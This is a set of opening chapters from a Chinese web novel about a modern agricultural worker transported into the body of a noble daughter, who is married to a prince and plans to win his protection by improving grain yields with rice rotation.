《我靠种田改朝换代》 1. 一、 《我靠种田改朝换代》全本免费阅读 “出嫁前把二小姐看好,不许她再出房门” 一道满含怒气的声音传入慕衷情的耳朵,她的脑袋昏昏沉沉的,身上忽冷忽热,难受得紧,迷迷糊糊间只看到一个男人的背影。 大段的记忆在一瞬间涌入脑海,慕衷情感到头痛欲裂,再次进入昏迷。 仿佛做了一个长长的梦,慕衷情在梦里看到了一个与自己同名同姓的古代女子的悲剧一生。 身为府中的庶女,慕衷情的生母因难产而死,所幸家中主母温柔善良,对每一个孩子都视如己出,她的童年倒是过得平静惬意。 十五岁及笄礼后,家中也想着要为她寻一个夫婿,只是还没选到属意的人家,宫中便下了一纸诏书,将其赐婚于清王秦澈。 正妃的名分听起来荣光无限,可惜朝堂上无人不知,秦澈乃是当今新帝姜喧的心头大患。 姜喧继位后,秦澈曾与其在大殿之上多次争执,二人政见不合不是什么秘密,再加上秦澈军十几岁就跟着父亲征战,父亲去世后更是手握南境兵权,统领十万兵马,不仅多年征战战功累累,在民间的声望更是如日中天。 因此,姜喧将秦澈视为眼中钉肉中刺。 而慕衷情,就是户部尚书慕据德献给姜喧的一枚棋子,用来监视、打探清王府内的消息,顺便以成亲为名,将秦澈留在京城。 慕衷情的姐姐慕衷言是姜喧的皇后,慕家早就是姜喧的亲信,这一赐婚的用意,所有人都心知肚明。 嫁入王府后,清王对她并不算差,但防备也从未少过,慕衷情在人人精明的王府中压根打探不到什么,几月后,清王离京回到边关,而她也成为了姜喧和慕据德的弃子,积郁成疾。 慕据德以探望的名义让人将其勒死,后作出悬梁自尽的假象,以此传召清王归京。 但清王抗旨不归,恰逢南方沿海外族侵扰,姜喧也无可奈何,没过几年,两人矛盾因军饷与粮草的问题再度激化,秦澈忍无可忍,率部起义,最终成为下一任君主。 如同走马灯一般看完这一段故事,就在慕衷情感叹古代女子的身不由己时,一瞬间天旋地转,等到她再次醒来,映入眼帘的就是大红色的床帐和帷幔。 她在床上躺了许久,等待思绪回笼。 身上的不适都已经消失,慕衷情用手撑着自己坐起来,低头看向身上穿的里衣,又看向自己白皙光滑的双手。 终于确定自己是穿越了。 工作后,慕衷情大半时间泡在地里,手上早就满是茧子和伤痕。 抬手掀开床幔,屋子里没有人,看着这一屋的摆设,慕衷情更加确定自己是穿越,甚至就是穿到了她刚刚昏迷期间看到的那位慕家二小姐身上。 这大红的喜字还贴在门窗上,恐怕时间点还是在出嫁前。 理解了这荒诞的一切,慕衷情的情绪倒是十分稳定,她迅速思考起自己的处境,如果刚刚看到的一切都是真实发生过的事,那么自己的便宜老爹慕据德是万万信不得的。 在这个封建的时代里,光靠温柔的母亲也无法护自己一生平安,作为一个棋子和未来的弃子,慕衷情首先要做的,就是活下来。 她经历过考公上岸,回乡助农,受过无数白眼冷遇,好不容易将家乡的农业现代化发展往前推进一步,还联系好各方渠道,在吃了无数个闭门羹后,请到一个愿意免出场费的明星,万事俱备,只差家乡的第一场助农直播开始,她就因为长期劳累猝死在家中。 既然上天让她重来一次,那么她不能对不起新的机会,哪怕是地狱开局。 不过她记得,慕家二小姐出嫁时,也才刚满十六岁,这万恶的封建社会啊! 慕衷情盘腿坐在床上,仔细思考当前的情况,毋庸置疑,姜喧不是一个好皇帝,他继位不过两三年,民间就已经怨声载道,赋税加重,大兴土木,骄奢无度,他在皇城中所有的享受,都踩在百姓的血泪之上。 这样的人,慕衷情是万万不可能投靠的,那么剩下的选择就只有那位清王秦澈,也是未来新的帝王。 如果能够入他麾下,到时候跟着他一起离开危机四伏的京城,至少可以先避过来自慕据德的杀身之祸。 之后的事情也只能走一步看一步了。 几息之间,慕衷情已经规划好了自己未来一段时间的计划。 第一步,在慕家低眉顺眼,扮演好那个温顺的“慕衷情”。 第二步,顺利出嫁,先刷秦澈好感度,取得信任。 第三步,跟着秦澈离开京城。 未来,只要秦澈顺利登基,她总有机会将自己的农业知识融合到这个时代的农耕技术里,再次把“助农”这件事做好! 思考间,房门“吱呀”一声被打开,慕衷情立刻躺下盖好被子。 床幔被掀开,慕衷情慢悠悠地睁开眼睛 2. 二、 《我靠种田改朝换代》全本免费阅读 慕据德走后,慕衷情看着桌上那包不知道是什么的毒药,只觉得头疼。 但思考过后,她还是将毒药收了起来,杀人是不可能杀的,她骨子里还是那个生在红旗下,长在春风里的社会主义好青年,干不出这种违法乱纪的事儿。 这包毒药,慕衷情是想在万不得已的情况下留给自己的,封建社会里的各种残忍手段她是听说过的,就算她真的过不了这个地狱开局,她也不想要在他人的手中痛苦又凄惨地死去。 再过一天,她就要成亲了,慕衷情就算心脏再强大,也忍不住对自己渺茫的前途感到紧张。 于是,她开始练起了八段锦。 当初熬夜准备考公时,她就靠练八段锦来放松,调整好自己情绪后继续努力。 这里的规矩礼仪虽繁琐,但有一个好处,就是人人进她的屋子前,总会叩门询问,那么她一个人待在屋子里时就不用时时刻刻端着了。 不过她这八段锦练了都还没有一半,就又有来找她。 慕衷情立刻调整好一个温顺的大家闺秀的状态,温声说了声:“请进。” 这次来的是慕据德的正妻江灵月,慕衷情立刻起身行礼,原主虽然从小养在江灵月身边,和她颇为亲近,但因为性格内敛,母女两个也很少表现出太过亲密的言行。 “娘亲,您怎么来了?” 江灵月牵着慕衷情的手坐下,眸中满是忧心:“情儿,明日你就要出嫁了,娘帮不上你什么,只能多为你备些嫁妆。” 说着,江灵月拿出一个小盒子:“这是一些首饰和钱庄存银凭证,到了王府后若有难处,至少短时间内不至于缺衣少穿。” “多谢娘亲,情儿都明白的。”慕衷情收下后悄悄掂了掂,分量不轻。 只是看江灵月这般忧心忡忡的样子,不知情的怕是要认为慕衷情不是去当王妃,而是去逃难的。 江灵月又与慕衷情说了些体己话后便依依不舍地离开了,关上门后,慕衷情一口气松下来,维持不住端庄大小姐的形象,立刻趴在桌上,盯着眼前这个小盒子。 对于江灵月说的嫁妆,慕衷情没什么概念,但她深知,无论古今,没有钱都是万万不能的。 而存一笔自己的私房钱,也是至关重要的。 江灵月这一手,的的确确是真心在帮慕衷情。 慕衷情记得,原本的慕家在战乱中尽数覆灭,慕据德罪有应得,只是可惜了这样温柔的江灵月跟着一起死去。 不过惋惜也没有持续太久,毕竟目前最重要的还是先保住自己的小命。 慕衷情把这个盒子与自己的贴身衣物一起收好,这样明日会一起被送到王府,且不会轻易被他人看到。 还没等慕衷情歇一会儿,门外又响起一个男声。 这出嫁前一天,她还真是忙。 立马又挺起背,作出一副温顺乖巧的表情后,才让对方进门。 来人是慕府的嫡子慕景行,也是慕衷情的大哥。 “情儿,我刚回京便听闻你前两日跳池自尽的事情。”慕景行看着低眉顺眼的妹妹,有些头疼地说,“你有没有想过,你若是死了,圣上怪罪慕家该当如何?” 慕衷情诧异,这家伙竟然是来怪罪她的? 是,原主求死一事的确欠考虑,但在慕衷情看来,原主只错在不该轻易放弃自己的生命。 作为一个从小被规训的女孩,她不知道除了求死外还能如何反抗成为一颗棋子的命运,但这不该是她的错,而是那些逼迫她,从未为她考虑过的人的错。 他们从未给过她眼界和选择。 慕衷情本来计划在慕府中尽量低调,可慕景行所言实在是精准踩雷,她忍不住讥讽道:“这场赐婚,明眼人都看得出来是为什么,大哥不在意我所嫁非人,也不在意我日后受苦,我又为何要在意在我死后会变成什么样?大哥今日前来,若只是来说这些没良心的话,那现在就请回吧,左右我已经答应成亲一事,这祸患落不到你头上。” “你,几日不见,竟然变得如此牙尖嘴利,可还有丝毫大家闺秀的模样?”慕景行学识渊博,为人却迂腐,也从未在自己这个妹妹的嘴里听过这么不留情面的话,一时间竟不知如何反驳。 在慕衷情的印象中,她的这位便宜大哥就是个书呆子,所以她也懒得跟他讲道理,只想着出一口气,直接上手推人:“大哥,我这儿不欢迎你,还是请你离开吧。” 慕景行连忙躲开:“你已及笄,不可与其他男子这般动手动脚。” 见他狼狈地离开,慕衷情郁闷的心情倒是缓解不少。 结果她脸上的笑容还没收住,门都没没来得及关上,就见又一个男子与慕景行擦肩而过,走进她所住的小院。 慕衷情在心里狠狠吐槽,这一天到晚的,这慕家人到底还要来几个啊,能不能都一次性说完,让她好好安静一会儿啊。 不管心里怎么吐槽,慕衷情还是在看到对方的一瞬间,将脸上的笑容调整到温婉模式,也不能怪她变脸速度太快,在村里工作时常常要给人赔笑脸,无论遇到多生气的事情,下一秒都能直接转换成笑容,这已经成为慕衷情的职业习惯了。 “景思。”这位二公子慕景思和原主的关系还不错,因此慕衷情的态度也较为和缓。 “二姐,我有话要跟你说。”慕景思等到慕景行走出一段距离后,立刻上前悄声对慕衷情说道,而后拉着她的手腕进屋,关门。 “什么?”慕衷情一脸懵,在原主的人生记忆中,慕景思并没有在成亲前来见过她,难道是自己的穿越直接导致从这一刻开始所有情节都要崩坏了? 慕衷情不确定,但她并不希望这么快就崩坏,毕竟现在的她还什么都没有准备好。 “二姐,我带你私奔吧!”慕景思的脸庞稍显稚嫩,但说出的话着实惊世骇俗。 慕衷情震惊地瞪大双眼,等等,这是什么隐藏的骨科情节吗? “景思,你知道自己在说什么吗?”慕衷情强压下震惊,问道。 慕景思点点头 3. 三、 《我靠种田改朝换代》全本免费阅读 珠玉镶嵌的扇子掉落在地上,蒙上了一层灰尘。 慕衷情感受到刀锋的寒意,也不敢乱动。 越是紧张的形势,她反而越冷静。 看到跟随迎亲队伍的守卫们都抽出刀将他们团团围住,慕衷情心里好歹是有些底的,至少这大庭广众之下,他们应该不会放任自己轻易死去,毕竟自己还有个准王妃的身份在。 “这位兄台,你冷静。”慕衷情深吸一口气说道,默默地把脖子往刀锋外挪了一点点。 这个家伙看起来有点激动,慕衷情生怕他一个手抖,自己的脖子就不保了。 “王妃,我也无意伤你,只是实在走投无路,不得已出此下策。”那男人说着,松开了钳制慕衷情的手,只是那把刀还在,慕衷情不敢动。 没过几秒,他从怀里掏出一块透着血色的布来,在风中抖开。 “今日,我桑州施县农户施瑞携带桑州百姓以血写下的万民书来到京城,不为其他,只为状告施县县令贪污去岁洪灾赈灾款,致使无数百姓或死于水患,或死于疫病,或死于饥荒,我们告至州府衙门,却被赶了出来,上天无路入地无门,便想要来京城告御状,求陛下为我们做主,谁知他们得知消息,竟要将我们围困绞杀!” 施瑞说到这里,声音有些哽咽:“乡亲们为护我周全,皆惨死于屠刀之下,只余我带着这万民书,一路乞讨来到京城,可我一介布衣,状告无门,得知今日清王婚事,便想着拼死一搏,也要将施县冤情说于朗朗乾坤之下,不负乡亲们所托!” “王妃,对不起,搅乱了你的婚事,可我实在是走投无路了。”说完自己的冤情,施瑞轻声和慕衷情道歉。 慕衷情本就因他所说的惨事而动容,只是听他遣词造句总觉得有些不对,又扫了一眼周围看似警惕的守卫们,心中泛起嘀咕,这施瑞只是一个普通农户,真能逃过这重重守卫的围攻,毫发无损地劫持到自己吗? “没关系,你不要紧张。”慕衷情习惯性地安慰道,脑子里已经闪过好几种嘴遁疗法,只短短一两秒时间就确定了自己要说的话。 虽然剧情崩坏至此,但她还是想赌一把,自己那个便宜夫君在上一世中的表现,是一个爱兵爱民的人,甚至她猜测,施瑞能这么轻松地劫持到自己,说不定跟秦澈也有点关系。 “光天化日,朗朗乾坤,竟然能发生这样的惨案,实在是瑾朝之耻,我相信,当今圣上必定会给你一个交代,在场的诸位百姓,也都是你的证人,毕竟你们都是瑾朝同胞,今日施县县令能如此对待你们,他日说不准这般祸事就要降临到每一个人头上,若我们都冷眼旁观,等到祸临己身时,又有谁能为我们摇旗呐喊?所以我相信他们都愿意帮你一起伸冤!至于你劫持我一事,实属迫于无奈,而非你本性大恶,即便到了圣上面前,我也不会怪罪于你。” 一番义正辞严的话说完,慕衷情脸上表情坚毅,倒真像一个大义凛然的王妃。 所有人都没有想到慕衷情会说出这样一番话,许多平日里受过欺压的百姓们更是被她的话激起了血性,大声为施瑞呐喊起来。 慕衷情松了一口气,还好她这演讲的水平没有下降太多,迅哥的名言就是有用。 就在群情激奋之时,前面的人群分散开来,让出一条道来,一个穿着红色喜服的男子驾马而来。 他面如冠玉,身形颀长,身上混杂着多年沙场战斗的铁血与威严,与温润清冷的书卷气,矛盾却吸睛。 慕衷情一下子认出了对方,这个男人就是秦澈。 秦澈利落地翻身下马,走到守卫面前,脸上立刻露出担忧的表情,说道:“本王便是清王,若你有什么冤屈,皆可告知本王,千万不要伤了王妃。” 慕衷情看着秦澈脸上那完美的忧愁神情,差点没一口老血吐出来。 这下子他确定了,这件事肯定跟秦澈脱不了关系! 因为这样的表情,她自己都不知道在领导面前演过多少次,就为了多要些预算和经费,那可是把毕生所学的演技都给交代出来了。 不过慕衷情不会傻到当场揭穿他,既然人是秦澈安排的,那她应当不至于有性命之忧,闹这一出的目的,大概就是为了把施县的事情闹大,让皇帝不得不处理牵扯其中的贪官污吏,好好肃清朝野。 于是慕衷情借着宽大婚服的掩饰,狠狠地在自己腿上掐了一把,直把自己疼出眼泪来才松手。 “王爷!此人怀有滔天冤屈,如此行事实属无奈,我……额,妾身听闻他的遭遇,也是痛心疾首,我相信王爷是一个深明大义,体恤百姓的人,一定能为他伸冤!”慕衷情顿了顿,还不忘补上一句,“也不枉妾身,仰慕王爷多年。” 慕衷情说完,看到秦澈那完美的表情面具似乎是出现了一丝裂缝,十分满意揉了揉自己还隐隐作痛的腿。 反正是飙戏嘛,看谁演得过谁咯。 秦澈微微眯眼,似乎是在暗自打量眼前这个准王妃:“本王也曾听闻王妃心地善良,这位兄台,你放心,本王一言既出驷马难追,只要你有冤屈,我定会为你向圣上陈清冤情,还你一个公道,只是王妃无辜,只要你放了王妃,我立刻便差人送你去面见圣上。” 见他如此保证,围观的百姓也纷纷劝说施瑞放了慕衷情,快些去圣上面前状告贪官才是。 施瑞似乎是被打动,缓缓放下了拿刀的手。 慕衷情瞅准时机,一把推开,提着裙子就往前跑去,直接撞进秦澈的怀里,还不忘大声道:“王爷,我……妾身就知道您会来救我的。” 其他人怎么看慕衷情不知道,但慕衷情很明显感觉到秦澈的身子都僵住了,她得意地想:傻了吧,没想到姐 4. 四、 《我靠种田改朝换代》全本免费阅读 “王妃说笑了,既然我们已经成亲,王妃自然是要和本王同住,至于彩珠,本王也已经让人将她带回王府。”秦澈给自己和慕衷情倒了合卺酒,将杯子放到慕衷情的面前。 慕衷情也不客气,直接拿着杯子起身走到秦澈身前,绕过他的手,自顾自地喝完交杯酒又回到座位上。 秦澈轻笑一声,也一口喝完。 慕衷情垂眸把玩着手中的酒杯,成亲第一天,秦澈大概率不会真对她做什么,他和皇帝还处于互相角力的情势,没必要一连给对方丢两个雷。 “王妃倒是与传闻中的性子不太一样。”秦澈看着她的动作,说道。 慕衷情扯了一下嘴角,心道秦澈果然不会打无准备的仗,恐怕早就暗中将自己调查了个干干净净,今日在街上相遇时,大概就已经发现自己的表现与他所调查的不同。 “传闻不可尽信,人总是会变的。”不管怎么样,慕衷情还是这套说辞,反正真相是不可能说的,说了估计也没人信。 秦澈没有再追问,像他这样的人,对于别人的谎言没有兴趣追究,他只信自己的判断。 “天黑了。”秦澈忽然说道,“那就让彩珠伺候王妃沐浴更衣吧。” “哈?”慕衷情一脸的不可置信,“沐什么浴?更什么衣?王爷,我们可都没拜堂呢,这之后的流程倒也不必进行得这么仔细了。” 秦澈将杯子放到桌子中央,似笑非笑道:“合卺酒喝完,便是夫妻。” “不对,都没有拜堂,没有结发,怎么算夫妻?”慕衷情说完,就看到秦澈的目光移到了她的发髻之上。 她立刻起身往后退:“王爷,我这个人没什么野心,也知道您娶我是被迫,等到您大业功成或遇到真正心仪之人,完全可以与我和离,我绝不纠缠,目前我只有一个诉求,额不对,请求,我就想好好活着,真的,我对您没有任何非分之想。” “大业?王妃可要小心说话,本王何来的大业?” 目前的秦澈的确还没有明确要反了的心思。 慕衷情深深叹了一口气,一时还真找不到什么好的借口。 秦澈见她苦恼的模样,悠悠地说道:“王妃不必忧心本王会做什么,今日本王还有其他事务要处理,王妃若是累了,便先睡下吧。” 说罢,秦澈便转身离开了新房,临走前还交代外面的守卫把彩珠带过来。 慕衷情没想到秦澈这么爽快,愣在原地许久,才走到梳妆台前坐下,开始拆自己头上的首饰。 折腾了一天,这些真金白银的首饰压得她脖子都快断了。 不一会儿,房门被推开,彩珠立刻小跑着来到慕衷情身边跪下:“小姐!您没事太好了!今天可吓死我了!” 彩珠的年岁比慕衷情还要小,从没见过这样的阵仗,之前在王府的人面前还能撑住,一下子见了自家小姐,眼泪便随着恐惧一起涌了出来。 慕衷情替她擦去脸上的泪,笑道:“放心,这一劫已经度过去了,往后会越来越好的,现在呢,你还先帮我把发髻拆了吧,我这一身实在太重了。” 彩珠破涕为笑,立刻应声起来,替慕衷情卸去首饰,洗了妆容。 没过多久,有下人将木桶和烧好的热水搬了过来。 慕衷情好好地泡了个澡,放松紧绷了一天的神经。 她小时候也从大澡堂里洗过来的,对于让别人伺候自己洗澡一事,倒是没什么不好意思的。 就像秦澈所说的,他还有事要忙,一直到慕衷情睡下,也不见他回房。 这也正和慕衷情的意,不然旁边睡着一个陌生的男人,实在可怕得很。 翌日清晨。 慕衷情像往常一样早早醒来,习惯性地准备在床上伸个懒腰,然后起来去工作。 然后手一伸,就察觉不对,这床单被子的质量和她原来那小破宿舍完全不一样,慕衷情“蹭”地坐起来,下意识地看向身旁。 她摸了摸被窝的温度,是冷的。 难道秦澈一晚上都没回来睡? 慕衷情掀开帘子谨慎地观察周围,从刚穿越来她就发现了,这里睡觉的房间并没有像以前在电视剧中看到的那样大,王府里的这间新房倒是比她在慕府的闺房大上不少,但也没有特别大。 她一眼就看到了躺在榻上的秦澈。 慕衷情轻手轻脚地下床,走到那张榻前 5. 五、 《我靠种田改朝换代》全本免费阅读 “王爷什么都不缺,我好像给不了王爷好处。”慕衷情也不是个吃亏的主儿,虽说她如今的处境完全拿捏在对方手中,但也不代表她就要完全听从对方的要求。 该争取时还是要争取试试。 大不了在发现不对劲时,及时止损,明哲保身。 秦澈盯着慕衷情的脸,像是在认真思索他们交易的内容。 “王妃昨日说过,要站在本王身边,此话当真?”秦澈忽而问道。 慕衷情不知道为什么,突然有点头皮发麻,但还是点头道:“自然是真。” “那么明日宫宴,王妃便随我一起去吧。”秦澈悠悠说道,“三日之内,本王必为王妃选一个好夫子。” 慕衷情的重点却不在夫子上,而是问道:“王爷本来是不打算带我进宫赴宴?” “昨日大婚,王妃受惊,身子有些不适不能赴宴,这也是人之常情。”秦澈笑眯眯地解释道。 慕衷情这才反应过来,敢情昨天的事不止是一石二鸟,简直是一石三鸟。 把一颗很有可能是别人安排进来的棋子,雪藏起来,不给发挥任何作用的机会,这是秦澈能想到的,最和平的解决方式了。 在所有人的计划中,最无辜最可怜的那个,反而是慕衷情自己。 所幸,慕衷情不是真的慕府二小姐。 “好,只是王爷要记住,我站在您这边,若是发生什么事,便是一荣俱荣一损俱损。”慕衷情说这话时,自己心里也没底,毕竟现在谁都不知道她真正的立场,在旁人看来,秦澈就算厌弃她,也不过是因为皇帝罢了。 秦澈闻言也只是笑笑,并未作答。 慕衷情无奈,知道秦澈也不是个傻的,但她既不是什么武林高手,更没有万能金手指,只能挣扎求生。 说句实在的,秦澈在慕衷情看来,已经算是好说话的了,不然来一个脾气爆的,随随便便给她制造一场意外,她也很难逃脱。 想到这儿,慕衷情的乐观主义又开始作用,心道,只要还能听她说话,一切都有翻盘的可能! 两人说话间,外头也传来些许轻微的动静,秦澈下榻穿衣,唤人将早点拿了进来。 彩珠跟着进屋,为慕衷情更衣梳洗。 秦澈的动作更快,慕衷情坐下吃早餐时,他已经出门上朝去了。 其他下人眼观鼻鼻观心的模样,看起来似乎没有什么事,但慕衷情不信没有人监视自己。 她边吃边装作不经意地问:“彩珠,你可知沉鱼落雁,闭月羞花,分别指的是谁?” 彩珠不疑有他,只当是小姐像往常一般随口考自己几句,答道:“小姐,彩珠只知其意,不知典故。” 慕衷情习惯性抬手拍拍彩珠,就像平时安慰身边的同事一样:“没事,等过几天王爷帮我请了夫子来,我们一起读书。” 虽然现在的慕衷情是16岁,但她的心理年龄已经25岁了,看彩珠就像看妹妹一样。 这个朝代是慕衷情从未在历史上听说过的,但用语却是她所在的那个世界里的文化,慕衷情不知道该怎么认知这个世界,那么让自己尽快融入的最好方法,就是读书,了解这里的文化。 吃完早点,彩珠给慕衷情盘好交心髻,简单缀以簪花珠钗,仍旧同往常一般素雅。 慕衷情向来不喜欢过度打扮,只让彩珠描了眉,在唇上抹点胭脂后便走出了房间。 之前在慕府时,因为身体的问题,慕衷情一直在房中休养,都没有好好看过这些庭院,如今来到王府,她自是要逛一逛,就当是补偿自己工作一年,一次都没有旅游过的遗憾。 只是慕衷情一出房间,身后除了彩珠外,还跟着好几个婢女仆人。 她也不知道这是王妃该有的排场,还是秦澈故意的。 新来的两个婢女,一个叫芸儿,年岁稍大一些,看起来颇为稳重,另一个叫喜儿,瞧着的确十分讨喜。 婚房所在的院子叫做水云苑,打开门就能看到一棵开花了的白玉兰树,像流连春日的雪缀在枝头上,优雅又芬芳。 慕衷情深深吸了一口气,花香让她放松不少。 她在院子里慢慢地散步,除了一些被照顾得不错的花草,还有一个不小的池子,池子里是活水,一直连接到院子外。 慕衷情顺着回廊一路向前,走过几座假山,穿过一个拱门后就已经完全不记得来时的路。 就在她迷茫之时,芸儿及时向前一步,说道:“王妃,前面便是王爷的书房了,王爷今早吩咐过,若是王妃有兴趣,可以去看一看。” 芸儿一直低着头,慕衷情看不到她的表情,但不知为什么,她总觉得秦澈是不是有什么目的,不然会让她这么自由地到处乱走乱看? 慕衷情虽然不打算演,但也不想踩雷,便摇摇头说道:“王爷的书房就不必去了,王爷答应我日后给我请个夫子,那我能不能有自己的书房?” “这奴婢便不知了。” 慕衷情没有追问,不知就不知,反正在哪儿都能学习,她走了这么久都没能把王府逛遍,到时候就算在院子里支个摊子读书,她都无所谓。 以前和村里的叔叔伯伯们一起蹲在地里吃饭的日子都过来了,她压根不讲究这些。 “走吧,芸儿你带路,我们回房。”慕衷情也走累了,她以前是能走山路的人,但这个身子是大门不出二门不迈的大家闺秀的身体,体力的确是比不上以前的自己。 “是,王妃。”芸儿应道。 慕衷情转身,准备往回走,一回头就看到身后的男男女女们都以一种完全一致的姿势将手放在身前,微微低着头,她不自觉地皱了皱眉,心里泛起一些不适。 “你们……”慕衷情顿了顿,“都抬起头来。” 大家似乎有些犹豫,唯有彩珠胆子比较大,闻言便抬起头来,在彩珠心里,自家小姐的人美心善,断然是不会无故罚他们的,所以听话就行。 其他人虽有犹豫,但也都抬起了头,只是他们维持着身体微微前倾的姿势,整个人看起来十分别扭。 慕衷情便又说道:“都挺直背。” 彩珠又是第一次挺起胸膛直起背的,见她这么做了,其他人才都有样学样。 “双手放到身侧,自然垂下。”慕衷情继续说。 这个动作是最简单的,却是其他人犹豫最久的。 慕衷情也不着急,慢慢地等他们做好心理建设,直到每一个人都以正常的姿势站在她面前时,她才终于舒了一口气。 “往后在我面前,就都保持这个姿势吧,也不必行礼,我看不惯,也不喜欢。”慕衷情从他们之中走过去,“走吧,芸儿带一下路。” 6. 六、 《我靠种田改朝换代》全本免费阅读 “无论日后王爷去哪儿,请带上我,保我一命,我会替王爷想办法解决粮草问题。” 慕衷情对自己的专业是有信心的,即使之后无法预料会遇到什么难题,但是为了生存,也要适当给领导画画大饼。 而且她知道,军饷和粮草问题一直是秦澈心中最重视的问题,也是他后来决心造反起义的主要原因之一。 不出慕衷情所料,一听到粮草,秦澈轻松戏谑的神情瞬间不见,他收敛笑意,身上被刻意压着的威严立刻便释放出来,那是从尸山血海中一步步走来的人才会有的气势。 慕衷情其实慌张得不行,但愣是逼着自己和秦澈对视,不露出任何一点害怕、担忧的神色。 因为她的交易,不是一个懦弱的人能够完成的。 她得让秦澈相信,自己有这个本事。 良久,秦澈才出声问道:“你要如何解决?又需要多少时间?” “三年之内,至于如何解决,我之前问清州的情况,就是为了这件事。”慕衷情的手藏在袖子里紧紧握住,在手心压出一道道月牙形印记,才勉强让自己的声音显得胸有成竹。 “好,三年之内,本王保你性命。”不过三年而已,秦澈等得起。 慕衷情轻轻舒一口气,终于忍不住坐下,给自己倒了杯水:“那么王爷,现在可以与我讲讲清州的情况了吗?” 秦澈坐到她的对面,就如新婚之夜一样。 “清州近海,夏季潮湿闷热,多发洪灾,冬季虽少雪,却时常冻死人,且多山地,农耕不易,许多百姓以出海打渔为生,近桑州处则与桑州多贸易往来,养蚕织丝。”秦澈说得简洁,却能看出他对清州是认真了解过的,“临海处多海盗出没,多年清缴无果,本王常年于清州、云州两地往来,夏季清州多天灾人祸,秋冬云州多边境袭扰,你若要跟着本王,怕是要做好吃苦的准备。” 慕衷情认真地听着,没有在意那句“吃苦”,只关心道:“清州近海,山多地少,农作物是否以晚稻为主,若我没记错的话,应当是六七月播种,十月左右收获,是不是?” 现代的水稻品种和古代早已不同,但慕衷情记得上学时学过古代的农业种植,只是许多内容都淡忘了。 “没错。”秦澈再次打量她,“本王还以为王妃是一个不分五谷之人,看来是本王小瞧王妃了。” 慕衷情自顾自地思索,完全没有接茬,继续问道:“那王爷可曾听说过占城稻?” 秦澈目露疑惑:“未曾听说。” 慕衷情记得,在她所学的知识中有提到过,北宋时传入一种良种稻叫做占城稻,也叫早禾,适应性强,耐旱耐涝,而且不挑地,很好种,与晚稻轮换着种,可以大大提高产量。 想到这里,她十分激动地问道:“云州可是地处西南,多瘴气之地?” “是。”秦澈答。 “那便对了,王爷可遣几支商队前往西南边境,在边境几国找寻一种水稻,我不知在那里它们叫什么,但这种稻不仅容易种,成熟也很快,大概只需晚稻的三分之一时日便能收获一轮,若是能将这种稻在清州推广,想来粮食产量便能提升不少。”慕衷情说着就想去找纸笔。 “占城稻种收周期大概是在五十多天,晚稻大约四五个月,如果农户愿意的话,冬日也能种冬小麦。”慕衷情站起身仔细盘算,完全沉浸在自己的思维里,“可是这是古代,人力不足,农业现代化也发展不起来,没有那么多机器辅助,全年种植怕是够呛,南方,南方还有排水问题,冬小麦可能一时半会儿不太好种,早稻又不如晚稻品种好,不行,还是要轮种,可以再根据不同地方仔细分一分,还有很多作物也是靠海上贸易进来的,对,还得发展海上贸易才行。” 秦澈耐心地听她自言自语,虽然有许多听不懂的地方,但不知道为什么,他开始有些相信慕衷情真的能帮他解决粮草问题。 而且这个解决方法,并不是从皇帝的指缝里抠出一点是一点,而是通过改善清州的粮食产量来实现。 只要清州的粮食增产,百姓富足,那么征粮就会容易得多。 思路理清之后,慕衷情双手撑在桌子上,无比认真又炙热地望着秦澈:“王爷,我们必须要解决海盗的祸乱,而后发展海上贸易,同样的,西南边陲的那种水稻品种也要想办法要过来,这是目前最快的方法。” 秦澈没有敷衍地认为慕衷情是异想天开,而是认真地思索回答:“商队我可以秘密派遣,但东南海盗之乱,恐怕一时难以平定。” “明白,这的确不是个容易解决的问题,没关系,只要能找到占城稻并引入,也能解决一部分问题,至于其他的旱涝问题,种植技术和土地分配制度,需要到时候去清州实地考察才能真正了解,就算要改革也是长期的事情,这个急不得,那王爷,京州多种植什么?有无种子可以给我一些?我想在院子里开辟一处小园子,做种植试验。” “京州多小麦,丰州多粟米。”秦澈看着慕衷情逐渐兴奋起来的模样,似乎也有些被感染,答道,“两地均有农户轮种麦 7. 七、 《我靠种田改朝换代》全本免费阅读 “好啊,不过没有字也没关系,我还有名。”慕衷情的确不在意这些,毕竟在现代世界,早就没有取字的习惯了,“家人一般都叫我衷情,或情儿。” “好,我记住了。” 秦澈虽然对慕衷情改观,但他们归根结底只是两个刚认识一天的陌生人,除了在外人面前演戏外,秦澈自己一时也无法适应两人安静独处时的不自在。 还是慕衷情努力憋出来一句:“王爷是从小练武的吗?我好像还从来不曾见过那些传说中的功夫。” 话一说完,慕衷情又觉得有些不妥,这好像是在让秦澈给她来表演一下一样,不太礼貌。 于是她又连忙找补:“我的意思是,王爷可不可以和我说说您从前的事情?” 秦澈没有立刻答应,而是说道:“礼尚往来,衷情也从未与我说过从前的事。” 慕衷情一怔。 两人忽而默契地相视一笑。 他们有了君子之约,但暂时的和平相处不代表完全的信任,更达不到推心置腹的亲密程度。 秦澈可以不明目张胆地探究慕衷情的秘密,但绝不会轻易与她交心。 “从前想来也不是那么重要。”慕衷情并不在意这些,现在她要的,只是保命而已,于是放松地说,“日后还要多多指教。” 秦澈起身:“衷情选中了哪块地,指与我看,今日我便让人按照你的想法收拾出来。” 慕衷情本来还没有完全确定选哪块地,但与秦澈聊完后,便决定在几块看中的地中,选两块最靠近院中池子的。 清州临海,气候潮湿,京州在北方,无论是温度还是湿度很难完全模拟,只是尽量寻找相似的。 很快,慕衷情选中的那两块地,便按照她所说将里头的花草移栽,围起来一圈篱笆。 如今正值春日,但慕衷情也等不了冬日,只能先硬着头皮将两块地分别种上晚稻和冬小麦。 第二天一大早,慕衷情照常早起,拿着锄头先将自己的地翻了一遍土,在其中一块地里浇了几遍水,在另一块地里将周围的土垒高,倒了更多的水,而后把冬小麦和晚稻种子分别撒下。 现在没有更好的条件去控制温度和湿度,更没有水稻田能提供给她,慕衷情也只能这么简单粗暴地增加湿度,模拟环境了。 等她忙活完后,秦澈早已下朝回来,换上一身青衫之后便来到庭院中,看到慕衷情正蹲在地上,不知在想些什么。 “衷情,可是遇到了什么问题?”秦澈上前问道。 慕衷情手里还拿着锄头,见秦澈过来,也没有起身,而是抬头问道:“清州百姓种水稻通常用的是什么肥?” 在现代,她只需要选购有机肥复合肥就行,还能用无人机帮忙撒肥,到了古代,真是什么都不方便。 感谢农业科技的发展,慕衷情在心里呐喊道。 就是不知道,村里的地都怎么样了,慕衷情刚刚看着自己拥有的两块地,不自觉地想到了她好不容易说服村民,将手中的地统一分区,种植不同的作物,还引进水培,以及各种新机器。 她都还没来得及摸摸自己磨破嘴皮子要来的预算,以及贷款买来的新机器呢。 